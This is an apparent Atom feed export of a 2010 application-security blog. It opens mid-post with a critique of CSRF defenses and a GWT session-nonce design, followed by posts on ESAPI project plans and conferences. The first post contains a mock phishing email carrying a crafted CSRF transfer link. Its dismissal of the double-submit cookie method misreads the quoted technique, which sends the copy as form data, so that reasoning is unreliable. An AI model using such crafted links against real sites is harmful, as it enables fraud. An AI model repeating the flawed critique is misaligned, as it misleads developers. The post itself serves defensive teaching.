&lt;blockquote&gt;&lt;i&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: large;&quot;&gt;&quot;A common countermeasure for XSRF attacks involves duplicating a session cookie.&amp;nbsp; Earlier, we discussed how the usual cookie-based session management model leaves your application open to XSRF attacks.&amp;nbsp; An easy way to prevent this is to use JavaScript to copy the cookie value and submit it as form data along with your XMLHTTPRequest call.&amp;nbsp; Since the browser&#39;s Same-Origin Policy will prevent a third-party site from accessing the cookies from your site, only your site can retrieve your cookie.&amp;nbsp; By submitting the value of the cookie along with the request, your server can compare the actual cookie value with the copy you included;&amp;nbsp; if they don&#39;t match, your server knows that the request is an XSRF attempt.&amp;nbsp; Simply put, this technique is a way of requiring the code that made the request to prove that it has access to the session cookie.&quot;&lt;/span&gt;&lt;/i&gt;&lt;/blockquote&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: red;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-large;&quot;&gt;Wait... what?&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
First thought that popped into my mind when I read that (and maybe you had the same thought) was that the proposed solution of duplicating a session cookie&lt;b&gt;&lt;u&gt; doesn&#39;t solve the problem at all.&lt;/u&gt;&lt;/b&gt; I suppose this could be the case in a Framejacking CSRF Exploit, that this would solve that issue - but if I send a crafted link to a handful of users to their bank to transfer 1 million dollars to my account like:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;&lt;i&gt;&quot;Dear Sir or Madam, I am writing you from EvilHacker Bank and Trust to let you know about a new policy regarding our interest rates - please click the evil link below to get pwned.&lt;/i&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;i&gt;&amp;nbsp;http://evilbank.com/xfer?from=12345&amp;amp;to=12345&amp;amp;amt=1000000&amp;amp;forceApproval=1&lt;/i&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;i&gt;Sincerely,&amp;nbsp;&lt;/i&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;i&gt;Doctor Evil&lt;/i&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;i&gt;EvilHacker Bank and Trust&quot;&lt;/i&gt;&lt;/blockquote&gt;How does a cookie protect the user who is possibly already authenticated to the EvilHacker Bank application with a session cookie in their browser (and said duplicate session cookie). The browser is going to send both cookies because it does in fact, have access to them.&lt;br /&gt;
&lt;br /&gt;
Well, that&#39;s completely unacceptable, I thought to myself. That doesn&#39;t protect the application or users of the application at all from CSRF. So I set out to come up with my own solution.&lt;br /&gt;
&lt;br /&gt;
The answer, which turned out to be quite simple after a lot of research into how GWT builds in RemoteService interfaces and the javascript it uses to call services exposed to the client, was to make a slight modification to the ProxyGenerator (creates a Proxied implementation of the RemoteServiceAsync interface created by the developer). If you think of GWT Services in terms of RPC&#39;s this should make sense. I will likely post a follow-up detailing the solution and how to integrate it, but the meat of it is really this:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;App Server needs a filter or some means to setup the session on the first request made to the application. This is standard CSRF protection behavior.&amp;nbsp;&lt;/li&gt;
&lt;ol&gt;&lt;li&gt;Caveat with GWT - GWT generally uses static HTML files and the Javascript generally doesn&#39;t have any reference to any existing interpreted code (ie: JSP, PHP, etc.) &amp;nbsp;So the question became how do I tell the client application what the CSRF token should be. I chose to go with a cookie, but this could also be done as a&amp;nbsp;separate&amp;nbsp;RPC call to get the token (this presents it&#39;s own set of problems - they are not&amp;nbsp;overcome-able)&amp;nbsp;&lt;/li&gt;
&lt;ol&gt;&lt;li&gt;Created a filter (CSRFFilter) to generate a CSRF nonce when the session is created and set that as a cookie that gets sent back to the client.&amp;nbsp;&lt;/li&gt;
&lt;/ol&gt;&lt;/ol&gt;&lt;li&gt;Client application reads the nonce from the cookie and alters the request to add a custom header containing the nonce.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Server checks for either the presence of a request parameter or request header containing the CSRF nonce and verifies it against the value stored on the session (not in the cookie)&lt;/li&gt;
&lt;li&gt;A new nonce is generated every time a new session is created.&lt;/li&gt;
&lt;/ol&gt;&lt;br /&gt;
So what does this really mean?&lt;br /&gt;
&lt;br /&gt;
It means that since &lt;a href=&quot;http://www.w3.org/Security/wiki/Same_Origin_Policy&quot;&gt;SOP&lt;/a&gt; rules won&#39;t allow a Java Applet (post 1.6 update 8) or Flash App (unless it is setup completely incorrectly) to make a cross-domain request - you are safe from the attack embedded in a flash or java applet, and since an e-mail client can neither predict the nonce, nor can it send request headers - you are safe from CSRF.&lt;br /&gt;
&lt;br /&gt;
It also means that you cannot have entry-point actions in your application. So if your model is to allow people to accomplish some action by clicking a link from their e-mail - you will want to exclude that service from this solution (or just about any other CSRF protection - here you have are probably going to have to resort to a hash that can be calculated as your CSRF nonce, which still provides ample protection against most threat agents and situations, but is slightly less evil-hacker-proof then using something completely random)&lt;br /&gt;
&lt;br /&gt;
Now on to the argument about sensitive data and the per-request token model. I think this is&amp;nbsp;severely&amp;nbsp;overcomplicating an otherwise simple and elegant solution. A distributed phishing style CSRF attack would have to not only count on a pre-authenticated session but would also have to predict the nonce (which is tied to the authenticated session) which while not completely impossible is so improbable that it equalizes the threat completely. In other words, with this solution - you may have a single successful attack inside millions of years (depending on the width and PRNG used to create the nonce)&lt;br /&gt;
&lt;br /&gt;
The complexity introduced in managing a per-request model in an Ajax application becomes a nightmare full of bugs.&lt;br /&gt;
&lt;br /&gt;
So, in summary - I contest that the per-request model of CSRF nonces is overcomplicated and a complete overkill in 99.9% of cases (there may be the small edge-case where this makes sense).&lt;br /&gt;
&lt;br /&gt;
Remember, the more complicated a Security Control is - the more likely there is a bug in the control that can be exploited to circumvent it.</content><link rel='replies' type='application/atom+xml' href='http://yet-another-dev.blogspot.com/feeds/4774640584986476933/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yet-another-dev.blogspot.com/2010/11/csrf-how-much-is-enough.html#comment-form' title='12 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/4774640584986476933'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/4774640584986476933'/><link rel='alternate' type='text/html' href='http://yet-another-dev.blogspot.com/2010/11/csrf-how-much-is-enough.html' title='CSRF - How much is enough?'/><author><name>Chris Schmidt</name><uri>http://www.blogger.com/profile/00176557422611541107</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6bOTMV0NKNtfXZvgAu95knHNmmoQvNBcKLWuPIS3XQFXDDxDohvUdq6iJSPJ_kFFcdUyoMxLkBjl1SlSt7eMfU2PmCr08xDsKnkdR6n44IAx305oYX71ZIngokgqS9Q/s1600/187576_540702549_2394666_n.jpg'/></author><thr:total>12</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2278699633637555082.post-4324028473109414365</id><published>2010-11-20T15:30:00.000-07:00</published><updated>2010-11-20T15:30:45.933-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ESAPI"/><category scheme="http://www.blogger.com/atom/ns#" term="OWASP"/><title type='text'>Call To Arms: ESAPI Documentation Team!</title><content type='html'>We are in desperate need of some people to aid in updating and completing the documentation for ESAPI 2.0GA Release (upcoming).&lt;br /&gt;
&lt;br /&gt;
If you are a technical writer, or interested in writing at all, we could use your help! After all, how many of you would actually want your developers to also write your technical documentation?&lt;br /&gt;
&lt;br /&gt;
That being said - here are the primary areas we are looking for help with documentation: &lt;br /&gt;
&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;&lt;b&gt;Installation and Configuration&lt;/b&gt;&lt;br /&gt;
This area of the documentation has been done and done again, but still needs to be clarified and updated to reflect changes in 2.0 and consolidate some of the developer documentation (crypto) into the core documentation.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Integration&lt;/b&gt;&lt;br /&gt;
This area of the documentation needs &lt;b&gt;&lt;u&gt;a lot&lt;/u&gt;&lt;/b&gt; of love and attention. This area is also the least defined as far as what goes here. I envision a basic outline of:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;Integrating Core Componenets (Encoder, Logger, Validator, etc.)&lt;/li&gt;
&lt;li&gt;Extending Core Components (Adding custom validators - etc.)&lt;/li&gt;
&lt;li&gt;Creating Adaptors (Authenticators, Access Control, etc.)&lt;/li&gt;
&lt;li&gt;Integrating with Popular Frameworks&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;Spring&lt;/li&gt;
&lt;li&gt;Struts&lt;/li&gt;
&lt;li&gt;Grails&lt;/li&gt;
&lt;li&gt;GWT&lt;/li&gt;
&lt;li&gt;etc&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Real-World Solutions&lt;/b&gt;&lt;br /&gt;
Collection of Examples of how to solve &lt;b&gt;&lt;u&gt;real&lt;/u&gt;&lt;/b&gt; issues encountered in applications&lt;/li&gt;
&lt;/ol&gt;&lt;br /&gt;
These are only a few that I could think of off-hand, so if you are interested in helping - get in touch with us on the &lt;a href=&quot;https://lists.owasp.org/mailman/listinfo/esapi-dev&quot;&gt;ESAPI-Developers&lt;/a&gt; or &lt;a href=&quot;https://lists.owasp.org/mailman/listinfo/esapi-user&quot;&gt;ESAPI-Users&lt;/a&gt; Mailing Lists and let us know. You can always get a feel for what we have already by visiting the wiki at &lt;a href=&quot;http://www.esapi.org/&quot;&gt;The ESAPI Homepage&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.owasp.org/index.php/User:Wichers&quot;&gt;Dave Wichers&lt;/a&gt; has offered to head up this effort and work on a documentation roadmap - and he has been with the project since the beginning offering thoughts, patches, and guidance.</content><link rel='replies' type='application/atom+xml' href='http://yet-another-dev.blogspot.com/feeds/4324028473109414365/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yet-another-dev.blogspot.com/2010/11/call-to-arms-esapi-documentation-team.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/4324028473109414365'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/4324028473109414365'/><link rel='alternate' type='text/html' href='http://yet-another-dev.blogspot.com/2010/11/call-to-arms-esapi-documentation-team.html' title='Call To Arms: ESAPI Documentation Team!'/><author><name>Chris Schmidt</name><uri>http://www.blogger.com/profile/00176557422611541107</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6bOTMV0NKNtfXZvgAu95knHNmmoQvNBcKLWuPIS3XQFXDDxDohvUdq6iJSPJ_kFFcdUyoMxLkBjl1SlSt7eMfU2PmCr08xDsKnkdR6n44IAx305oYX71ZIngokgqS9Q/s1600/187576_540702549_2394666_n.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2278699633637555082.post-3530443386002645903</id><published>2010-11-20T15:10:00.000-07:00</published><updated>2010-11-20T15:10:51.971-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="application security"/><category scheme="http://www.blogger.com/atom/ns#" term="Call to Arms"/><category scheme="http://www.blogger.com/atom/ns#" term="Conferences"/><category scheme="http://www.blogger.com/atom/ns#" term="development"/><title type='text'>Cross Pollination; it&#39;s not just for bees...</title><content type='html'>While I was at AppSecDC 2010 - I got into a great conversation with John Steven from Cigital about a great number of things. One of those, and something that I have been openly preaching for years now, is the need for the developers and security professionals to start talking to each other, start interacting, and most importantly start teaching each other. &lt;br /&gt;
&lt;br /&gt;
There are a select few people, like myself, that are kind of double-agents. I have spent the last 5 years as a Senior Software Engineer and I did security - now I am an Application Security Engineer and I do development. At no one point in time have I seen these as opposites, and I think they compliment each other quite well. &lt;br /&gt;
&lt;br /&gt;
What I would really like to see in both communities is people branching out and not only learning but working to solve problems in both. Developers attending security conferences, giving talks at security conferences about subjects like agile/xp, build systems, continuous integration, frameworks, and writing good code - conversely security professionals at development conferences, giving talks on code review, security testing, tools and frameworks, and giving cool demos. &lt;br /&gt;
&lt;br /&gt;
I have started to see this adopted slowly by both OWASP conferences and the NFJS tour. Uberconf had a day long track that was almost purely security related information - but we need more community involvement. It is hard to justify an entire track dedicated to development at an OWASP conference if there will only be 5-10 people attending it. It is up to the community to start expressing an interest in this concept of cross pollination. &lt;br /&gt;
&lt;br /&gt;
I envision a conference with the following people attending:&lt;br /&gt;
&lt;br /&gt;
* Developers&lt;br /&gt;
* QA Analysts&lt;br /&gt;
* Security Engineers&lt;br /&gt;
* Configuration Managers&lt;br /&gt;
* IT Managers&lt;br /&gt;
&lt;br /&gt;
And the following tracks:&lt;br /&gt;
&lt;br /&gt;
* Development and Architecture&lt;br /&gt;
* Offensive Security&lt;br /&gt;
* Defensive Security&lt;br /&gt;
* Metrics and Reporting&lt;br /&gt;
&lt;br /&gt;
Moreover, I would love to see more coming out of these tracks then just a bunch of people sitting around talking. I want to see people actually working together to accomplish things. Presenters designing a project that can be done - or taking an existing project and working on it. &lt;br /&gt;
&lt;br /&gt;
It&#39;s funny because almost every conference I have been too - I almost always think to myself, here we have a building with 100-200 of the smartest people in &lt;insert field here&gt; and we are missing the opportunity to build things - make cool new discoveries - and invent technologies.&lt;br /&gt;
&lt;br /&gt;
After my conversations with John last week I am convinced that we can start to make some of these things happen and a couple of us have already taken the first steps in putting some pretty cool ideas together. &lt;br /&gt;
&lt;br /&gt;
If you would like to see this happen too, raise your hand - we can always use more people in the community bringing in new voices and ideas.</content><link rel='replies' type='application/atom+xml' href='http://yet-another-dev.blogspot.com/feeds/3530443386002645903/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yet-another-dev.blogspot.com/2010/11/cross-pollination-its-not-just-for-bees.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/3530443386002645903'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/3530443386002645903'/><link rel='alternate' type='text/html' href='http://yet-another-dev.blogspot.com/2010/11/cross-pollination-its-not-just-for-bees.html' title='Cross Pollination; it&#39;s not just for bees...'/><author><name>Chris Schmidt</name><uri>http://www.blogger.com/profile/00176557422611541107</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6bOTMV0NKNtfXZvgAu95knHNmmoQvNBcKLWuPIS3XQFXDDxDohvUdq6iJSPJ_kFFcdUyoMxLkBjl1SlSt7eMfU2PmCr08xDsKnkdR6n44IAx305oYX71ZIngokgqS9Q/s1600/187576_540702549_2394666_n.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2278699633637555082.post-1841414004692717284</id><published>2010-11-15T16:31:00.001-07:00</published><updated>2010-11-20T15:09:04.313-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="application security"/><category scheme="http://www.blogger.com/atom/ns#" term="Conferences"/><category scheme="http://www.blogger.com/atom/ns#" term="life"/><title type='text'>Whats new?</title><content type='html'>So - as you may have noticed, it has been a while since I have posted on my blog. There is a good reason - a lot of things have been changing and there are lots of wheels and cogs spinning all over the place right now. But I do have some updates and now that the dust is starting to settle, I will have the opportunity to post more regularly again.&lt;br /&gt;
&lt;br /&gt;
First order of business, after a great 5 years at &lt;a href=&quot;http://www.servicemagic.com&quot;&gt;ServiceMagic&lt;/a&gt; as a Software Engineer, I have decided to take the next step in my career and accepted an offer from &lt;a href=&quot;http://www.aspectsecurity.com&quot;&gt;Aspect Security&lt;/a&gt;. This actually occured over a month ago, but as I said - things have been a little crazy. My new official job title is Application Security Engineer, and I will be working on a lot of really cool things at Aspect Security. I am excited to see where my new path takes me and looking forward to becoming more and more involved in Application Security.&lt;br /&gt;
&lt;br /&gt;
Next order of business, &lt;a href=&quot;http://www.owasp.org&quot;&gt;OWASP&lt;/a&gt; and specifically &lt;a href=&quot;http://www.esapi.org&quot;&gt;ESAPI&lt;/a&gt;. I was recently (along with Kevin Wall) promoted to be a Project Manager of the ESAPI projects - and I have set some pretty high goals for myself with the project. Some of these goals have already been realized, however, there is still a great deal to be done. Here is a high-level overview of some of the things that I am working on right now with the ESAPI project and some things that are done -&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;1. ESAPI distribution in Maven Central.&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
You may have seen my &lt;a href=&quot;http://twitter.com/carne&quot;&gt;tweets&lt;/a&gt; regarding ESAPI now being available from Maven Central. This was a huge step for the team and something that was desperately needed. There are a lot of large projects out there using Maven for dependency management, and with the somewhat complicated footprint of ESAPI - it was a fairly painful process to get it integrated into large projects that were using Maven (or anything else that using Maven repositories) &lt;br /&gt;
&lt;br /&gt;
Now, you can integrate ESAPI into your Maven project painlessly and without having to worry about manually managing the dependencies and deploying them into your local repository. &lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;&amp;lt;dependency&amp;gt;
   &amp;lt;groupId&amp;gt;org.owasp.esapi&amp;lt;/groupId&amp;gt;
   &amp;lt;artifactId&amp;gt;esapi&amp;lt;/artifactId&amp;gt;
   &amp;lt;version&amp;gt;2.0_RC10&amp;lt;/version&amp;gt;
&amp;lt;/dependency&amp;gt;
&lt;/pre&gt;&lt;br /&gt;
Repository management has been graciously shared by &lt;a href=&quot;http://oss.sonatype.org&quot;&gt;Sonatype OSS&lt;/a&gt;. &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;2. Continuous Integration&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
I am currently working with the guys over &lt;a href=&quot;http://www.coveros.com/&quot;&gt;Coveros&lt;/a&gt; on getting a public instance of &lt;a href=&quot;http://www.coveros.com/research/research_stack.php&quot;&gt;SecureCI&lt;/a&gt; setup to handle our continuous integration needs. The instance will be hosted on Amazon EC2.&lt;br /&gt;
&lt;br /&gt;
The idea behind this is that having continuous integration will solve 2 distinct problems with ESAPI:&lt;br /&gt;
&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;Transparency&lt;/li&gt;
&lt;li&gt;Regular Releases&lt;/li&gt;
&lt;/ol&gt;&lt;br /&gt;
Both of these topics are, IMHO, integral to the success of any open source software project of ESAPI&#39;s size. By using continuous integration we will be regularly running our full test suite against the ESAPI codebase (nightly) and making the results of those tests publicly available - thus addressing the concern of transparency. To address the concern of regular releases, the CI process will push a nightly snapshot of the ESAPI build to the Snapshot Repository on Sonatype. &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;3. Alignment of the API&#39;s&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
One other large undertaking is to get all of the various language implementations in-line as far as the API itself. The concept here is that I should be able to define a set of language agnostic tests that verify that an implementation of ESAPI conforms to the specification (which also needs to be defined in a cross-language format)&lt;br /&gt;
&lt;br /&gt;
In the past, each language has implemented the ESAPI in whatever way they saw fit to do so - which worked well when ESAPI was still in it&#39;s infancy - however, as the project grows it is imperative that the interface be well defined and tests can be run against an implementation of a specific control to validate the control performs as expected. This will become increasingly important as the codebase continues to grow and users integrate the API with other frameworks and tools (Spring Security, Struts Validators, Siteminder Authentication, etc.)&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;4. Splitting at the seams&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Another sensitive issue in the Java implementation is the footprint of the ESAPI. A great deal of implementers are using pieces and parts of ESAPI to solve specific problems, and as such there are a large amount of dependencies that are quite simply taking up space. I aim to split the ESAPI into it&#39;s core functionality that will consist of the interfaces designed to specification and what is considered to be the core functionality of the existing reference implementation - ie. Encoders, Validators, Logging, HttpUtilities.&lt;br /&gt;
&lt;br /&gt;
As you can probably guess, none of these goals are small and quick to be realized and there are a lot of issues yet to be resolved in getting them implemented. I will be posting updates here as things come to fruition.&lt;br /&gt;
&lt;br /&gt;
Last order of business - I was given the opportunity to present my talk on &lt;a href=&quot;http://www.owasp.org/index.php/Solving_Real_World_Problems_with_ESAPI&quot;&gt;Solving Real World Problems with an ESAPI&lt;/a&gt; at &lt;a href=&quot;http://www.owasp.org/index.php/OWASP_AppSec_DC_2010&quot;&gt;AppSecDC&lt;/a&gt; last week and the reception of the talk was fantastic. I got some great feedback from people looking to use ESAPI for their clients and in their code and had some great conversations with people regarding where ESAPI is today and where it is going in the future. If you would like to see the slides (and video coming soon) of the talk - they are available from the &lt;a href=&quot;http://www.owasp.org/index.php/OWASP_AppSec_DC_2010_Schedule#tab=Plenary_Day_2_-_11.2F11&quot;&gt;AppSecDC Schedule Page&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
That is all for now, but watch my &lt;a href=&quot;http://twitter.com/carne&quot;&gt;Twitter Feed&lt;/a&gt; and &lt;a href=&quot;http://yet-another-dev.blogspot.com&quot;&gt;blog&lt;/a&gt; for additional updates over the next several months!</content><link rel='replies' type='application/atom+xml' href='http://yet-another-dev.blogspot.com/feeds/1841414004692717284/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yet-another-dev.blogspot.com/2010/11/whats-new.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/1841414004692717284'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/1841414004692717284'/><link rel='alternate' type='text/html' href='http://yet-another-dev.blogspot.com/2010/11/whats-new.html' title='Whats new?'/><author><name>Chris Schmidt</name><uri>http://www.blogger.com/profile/00176557422611541107</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6bOTMV0NKNtfXZvgAu95knHNmmoQvNBcKLWuPIS3XQFXDDxDohvUdq6iJSPJ_kFFcdUyoMxLkBjl1SlSt7eMfU2PmCr08xDsKnkdR6n44IAx305oYX71ZIngokgqS9Q/s1600/187576_540702549_2394666_n.jpg'/></author><thr:total>1</thr:total><georss:featurename>Aurora, CO 80017, USA</georss:featurename><georss:point>39.7036437 -104.7905426</georss:point><georss:box>39.6706262 -104.84890759999999 39.7366612 -104.7321776</georss:box></entry><entry><id>tag:blogger.com,1999:blog-2278699633637555082.post-8824693881362725149</id><published>2010-07-31T01:22:00.000-06:00</published><updated>2010-07-31T01:22:56.396-06:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Conferences"/><category scheme="http://www.blogger.com/atom/ns#" term="ESAPI"/><category scheme="http://www.blogger.com/atom/ns#" term="security"/><title type='text'>ESAPI at AppSecUS</title><content type='html'>If you follow my &lt;a href=&quot;http://twitter.com/carne&quot;&gt;Tweets&lt;/a&gt; you probably are already aware that my talk on ESAPI was accepted and is scheduled to happen at &lt;a href=&quot;http://www.owasp.org/index.php/AppSec_US_2010,_CA&quot;&gt;AppSecUS 2010&lt;/a&gt; in California this September. I am super excited about it! &lt;br /&gt;
&lt;br /&gt;
I will be streamlining my &lt;a href=&quot;https://docs.google.com/fileview?id=0B_-vbfka88vFNjM5NzZmODQtZTQ1OS00NTYxLWJmOWQtNzE3OWY4OWZkOGMw&amp;hl=en&quot;&gt;Presentation&lt;/a&gt; from &lt;a href=&quot;http://www.owasp.org/index.php/Front_Range_OWASP_Conference_2010#tab=Agenda&quot;&gt;FROC 2010&lt;/a&gt; and trying to cram a lot of information into a 45 minute presentation, and so I wanted to reach out to the community, especially to those who are thinking about coming to AppSecUS to see exactly what you guys would like me to spend my time on. &lt;br /&gt;
&lt;br /&gt;
It seemed like a good deal of the questions after the presentation at FROC and the presentation(s) I had the pleasure of helping give at &lt;a href=&quot;http://uberconf.com/conference/denver/2010/06/home&quot;&gt;UberConf&lt;/a&gt; with &lt;a href=&quot;http://twitter.com/kensipe&quot;&gt;Ken Sipe&lt;/a&gt; had to do with the following areas:&lt;br /&gt;
&lt;br /&gt;
* Configuration&lt;br /&gt;
* Using specific components &lt;br /&gt;
* Cross Language Compatibility&lt;br /&gt;
* Encoding and Validation&lt;br /&gt;
&lt;br /&gt;
So my initial plan is to reformat the presentation to address these concerns primarily and leave room for elaboration and code demos real-time.&lt;br /&gt;
&lt;br /&gt;
I would love to hear what you all think and if you would like to see other areas covered as well.&lt;br /&gt;
&lt;br /&gt;
I am also still in the planning phases of an ESAPI Bootcamp Training session that will either be a Webcast and/or hard-core weekend training event located in Denver, so I will keep you all posted on that.&lt;br /&gt;
&lt;br /&gt;
I know I promised in my last posting that I would be throwing up some recipes and sample ideas from the book (which I have started and am working on) - however with work, life, and conference season in full swing, I have decided to put this off until this fall, when I will have more time to focus on it and more input from the community (and hopefully - a NSA reviewed GA release of ESAPI 2.0)&lt;br /&gt;
&lt;br /&gt;
Hope to see everyone in California in a little over a month, and looking forward to reading your input and ideas!</content><link rel='replies' type='application/atom+xml' href='http://yet-another-dev.blogspot.com/feeds/8824693881362725149/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yet-another-dev.blogspot.com/2010/07/esapi-at-appsecus.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/8824693881362725149'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/8824693881362725149'/><link rel='alternate' type='text/html' href='http://yet-another-dev.blogspot.com/2010/07/esapi-at-appsecus.html' title='ESAPI at AppSecUS'/><author><name>Chris Schmidt</name><uri>http://www.blogger.com/profile/00176557422611541107</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6bOTMV0NKNtfXZvgAu95knHNmmoQvNBcKLWuPIS3XQFXDDxDohvUdq6iJSPJ_kFFcdUyoMxLkBjl1SlSt7eMfU2PmCr08xDsKnkdR6n44IAx305oYX71ZIngokgqS9Q/s1600/187576_540702549_2394666_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2278699633637555082.post-5157728756067203460</id><published>2010-06-17T21:28:00.000-06:00</published><updated>2010-06-17T21:28:36.500-06:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="application security"/><category scheme="http://www.blogger.com/atom/ns#" term="development"/><title type='text'>There and back again</title><content type='html'>So you may have been wondering if I disappeared from the face of the planet for a while, or where I have been - well, I am still here and I have been extremely busy! Lots of things to share, both in development and application security. So I will jump right in!&lt;br /&gt;
&lt;br /&gt;
At the beginning of the year I came up with a couple of goals that I wanted to achieve this year. The first of which was to speak at come conferences. I spoke at the Front Range OWASP Conference (FROC) at Auraria on June 2nd. It was a great experience, despite the technical difficulties incurred midway through my demo and now I am hooked. &lt;br /&gt;
&lt;br /&gt;
I presented on using the OWASP Enterprise Security API to solve REAL WORLD security problems. The presentation was very well received and I got some great feedback from those in attendance. My presentation slides and video are available on the &lt;a href=&quot;http://www2.owasp.org/index.php/Front_Range_OWASP_Conference_2010#tab=Agenda&quot;&gt;OWASP FROC Site&lt;/a&gt; and I encourage anyone to take a look at the slides and video and let me know what you think.&lt;br /&gt;
&lt;br /&gt;
In addition, just this week I was at The &lt;a href=&quot;http://uberconf.com/conference/denver/2010/06/home&quot;&gt;Uberconf&lt;/a&gt; where I had the opportunity to co-present with &lt;a href=&quot;http://uberconf.com/conference/speaker/ken_sipe&quot;&gt;Ken Sipe&lt;/a&gt; on both &lt;a href=&quot;http://uberconf.com/topics/security_code_review&quot;&gt;Security Code Review&lt;/a&gt; and the &lt;a href=&quot;http://uberconf.com/topics/enterprise_security_api__library_from_owasp&quot;&gt;ESAPI&lt;/a&gt;. Needless to say I am pleasantly exhausted from the 4-day onslaught of talks and workshops that was UberConf.&lt;br /&gt;
&lt;br /&gt;
The second goal I set was to start a book - and I will be using my blog as a venue to test run some ideas that I have for the book. It will be on Application Security - specifically aimed at software developers. It may or may not feature the ESAPI, but you can be assured I will be using the ESAPI in examples code samples. &lt;br /&gt;
&lt;br /&gt;
I am hoping to speak at AppSecUS 2010 in September, will be attending DefCon in LV for the first time - hanging with the DC303 Crew, and am submitting to do an ESAPI BootCamp at AppSec DC and AppSec Brasil.&lt;br /&gt;
&lt;br /&gt;
So as you can tell, it has been very busy.&lt;br /&gt;
&lt;br /&gt;
I will begin a new series to test-run for the book called Secure Development Recipes (working title) sometime in the next week or two, so look for those here. &lt;br /&gt;
&lt;br /&gt;
More to come soon! Time now for some sleep!</content><link rel='replies' type='application/atom+xml' href='http://yet-another-dev.blogspot.com/feeds/5157728756067203460/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yet-another-dev.blogspot.com/2010/06/there-and-back-again.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/5157728756067203460'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/5157728756067203460'/><link rel='alternate' type='text/html' href='http://yet-another-dev.blogspot.com/2010/06/there-and-back-again.html' title='There and back again'/><author><name>Chris Schmidt</name><uri>http://www.blogger.com/profile/00176557422611541107</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' 